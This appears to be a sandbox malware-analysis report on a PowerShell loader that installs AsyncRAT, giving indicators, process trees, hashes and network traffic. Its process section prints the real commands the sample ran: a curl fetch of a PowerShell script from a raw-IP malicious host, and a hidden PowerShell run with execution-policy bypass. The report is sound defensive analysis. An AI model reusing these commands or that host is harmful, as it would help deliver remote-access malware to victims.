File name:

registry.ps1

Full analysis: https://app.any.run/tasks/a09840e8-aca8-45cf-8b1d-5e5915f913c8
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Analysis date: December 30, 2024, 13:22:56
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
loader
rat
asyncrat
remote
Indicators:
MIME: text/plain
File info: Unicode text, UTF-8 (with BOM) text, with very long lines (1014), with CRLF line terminators
MD5:

B4C4574B1B8F88F5414AE6AFA31E6FA8

SHA1:

AC05763D40FD93DEDFE028571F837AD810B39C7B

SHA256:

57B509C00C5782186769C0777C2497AD98615DA7BB9FEBB66C5C3DBEEFB831BC

SSDEEP:

48:695cVCsQlPShJCeVrGSqQmVfbE7Qcx3XkzVtc3hx:6cMbSCS38VwX

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  • MALICIOUS

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 6256)
      • powershell.exe (PID: 6836)
    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 6256)
      • powershell.exe (PID: 6836)
    • Bypass execution policy to execute commands

      • powershell.exe (PID: 6256)
      • powershell.exe (PID: 6836)
    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 6256)
      • powershell.exe (PID: 6836)
    • Create files in the Startup directory

      • powershell.exe (PID: 6256)
    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6836)
    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 6808)
    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 6836)
    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 6836)
    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 6836)
    • ASYNCRAT has been detected (SURICATA)

      • RegAsm.exe (PID: 6272)
  • SUSPICIOUS

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6256)
      • powershell.exe (PID: 6836)
    • Executing commands from a ".bat" file

      • powershell.exe (PID: 6256)
    • Application launched itself

      • cmd.exe (PID: 6808)
    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 6256)
      • cmd.exe (PID: 6808)
    • Execution of CURL command

      • cmd.exe (PID: 6808)
    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 6808)
    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 6808)
    • Connects to the server without a host name

      • powershell.exe (PID: 6256)
      • curl.exe (PID: 6876)
      • powershell.exe (PID: 6836)
    • Process requests binary or script from the Internet

      • curl.exe (PID: 6876)
      • powershell.exe (PID: 6256)
      • powershell.exe (PID: 6836)
    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 6224)
    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 6836)
    • Contacting a server suspected of hosting an CnC

      • RegAsm.exe (PID: 6272)
    • Searches for installed software

      • RegAsm.exe (PID: 6272)
    • Connects to unusual port

      • RegAsm.exe (PID: 6272)
    • Executable content was dropped or overwritten

      • csc.exe (PID: 6224)
  • INFO

    • Disables trace logs

      • powershell.exe (PID: 6256)
      • powershell.exe (PID: 6836)
    • Checks proxy server information

      • powershell.exe (PID: 6256)
    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 6256)
    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 6256)
    • Checks supported languages

      • curl.exe (PID: 6876)
      • csc.exe (PID: 6224)
      • RegAsm.exe (PID: 6272)
    • Create files in a temporary directory

      • csc.exe (PID: 6224)
      • cvtres.exe (PID: 3612)
    • Execution of CURL command

      • cmd.exe (PID: 6828)
    • Reads the machine GUID from the registry

      • RegAsm.exe (PID: 6272)
      • csc.exe (PID: 6224)
    • Reads the computer name

      • RegAsm.exe (PID: 6272)
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No Malware configuration.

TRiD

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Total processes
136
Monitored processes
9
Malicious processes
5
Suspicious processes
1

Behavior graph

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start powershell.exe conhost.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe curl.exe csc.exe cvtres.exe no specs #ASYNCRAT regasm.exe

Process information

PID
CMD
Path
Indicators
Parent process
3612C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES7301.tmp" "c:\Users\admin\AppData\Local\Temp\CSCBFE03B2A3B12450C8030FBAE5EA3787.TMP"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.execsc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
14.32.31326.0
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\cvtres.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\vcruntime140_1_clr0400.dll
6224"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\sob0eesx.cmdline"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
6256"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass C:\Users\admin\AppData\Local\Temp\registry.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6264\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6272"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regasm.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
6808"C:\WINDOWS\system32\cmd.exe" /c "C:\Windows\Temp\Modules.bat" C:\Windows\System32\cmd.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
6828cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1 C:\Windows\System32\cmd.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
6836powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
6876curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1 C:\Windows\System32\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
8.4.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\cryptsp.dll
Total events
14 492
Read events
14 492
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
8
Text files
8
Unknown types
0

Dropped files

PID
Process
Filename
Type
6256powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OTVQQFGMLRIXOR9C0RUE.tempbinary
MD5:69A3DE2BACF60FB1913FDA869203B6DB
SHA256:117E9E34B136432865C50B0064A6DF1428D3474FF389394F03ADC6FE6E13FD90
6256powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_fu2yw4lf.e1e.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6256powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_csujwjeq.5o5.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6256powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF135334.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
6836powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_lxv1hqmy.kvo.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6836powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_30cywlb2.c2l.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6224csc.exeC:\Users\admin\AppData\Local\Temp\sob0eesx.dllexecutable
MD5:932F939A1CA4771694E297EB120A2B5F
SHA256:2637A6DBDEBFA7A17DECE0FF166B23A3F57CE818B983239DC55A47B24FE8A2C5
6836powershell.exeC:\Users\admin\AppData\Local\Temp\sob0eesx.cmdlinetext
MD5:6A4172E674906A62742ED13602A5C09B
SHA256:5AEF9C4A6D38268190B1CA5028B0904C509A87992428AEC633E98E9B188AB9F8
6836powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactivebinary
MD5:4E888ED7B2B383AA350C61CCC5F72C22
SHA256:968B366475FBA172061A32BB0C7634E5551DC2DFCC0898B160BC8B70624004E5
3612cvtres.exeC:\Users\admin\AppData\Local\Temp\RES7301.tmpbinary
MD5:8B42943DDCB7C40A95C1EC05DFC42DEB
SHA256:A44F86DE351E002675623A7ECBBA40E6D2F8D9F9EE03FD62F9EB59F973E91C1D
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HTTP(S) requests
11
TCP/UDP connections
37
DNS requests
16
Threats
15

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
GET
200
2.16.164.51:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
whitelisted
1176
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
6836
powershell.exe
GET
200
147.45.44.131:80
http://147.45.44.131/infopage/vfdjo.exe
unknown
malicious
6256
powershell.exe
GET
200
147.45.44.131:80
http://147.45.44.131/infopage/gqub.bat
unknown
malicious
6876
curl.exe
GET
200
147.45.44.131:80
http://147.45.44.131/infopage/vfrcxq.ps1
unknown
malicious
6448
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
whitelisted
6548
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
whitelisted
6548
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4712
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
192.168.100.255:137
whitelisted
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2.16.164.51:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
88.221.169.152:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
unknown
5064
SearchApp.exe
2.23.209.130:443
www.bing.com
Akamai International B.V.
GB
whitelisted
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
1176
svchost.exe
40.126.32.134:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1176
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 51.104.136.2
whitelisted
crl.microsoft.com
  • 2.16.164.51
  • 2.16.164.81
  • 2.16.164.24
whitelisted
www.microsoft.com
  • 88.221.169.152
  • 184.30.21.171
whitelisted
google.com
  • 142.250.185.142
unknown
www.bing.com
  • 2.23.209.130
  • 2.23.209.140
  • 2.23.209.141
  • 2.23.209.183
  • 2.23.209.135
  • 2.23.209.185
  • 2.23.209.187
  • 2.23.209.189
  • 2.23.209.133
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
login.live.com
  • 40.126.32.134
  • 40.126.32.74
  • 20.190.160.20
  • 40.126.32.140
  • 40.126.32.68
  • 40.126.32.136
  • 40.126.32.76
  • 20.190.160.17
whitelisted
go.microsoft.com
  • 184.28.89.167
whitelisted
arc.msn.com
  • 20.223.36.55
whitelisted
fd.api.iris.microsoft.com
  • 20.223.36.55
whitelisted

Threats

PID
Process
Class
Message
6256
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
6876
curl.exe
Potentially Bad Traffic
ET INFO PS1 Powershell File Request
6876
curl.exe
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
6836
powershell.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
6836
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
6836
powershell.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
6836
powershell.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
6836
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
6836
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
6836
powershell.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
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No debug info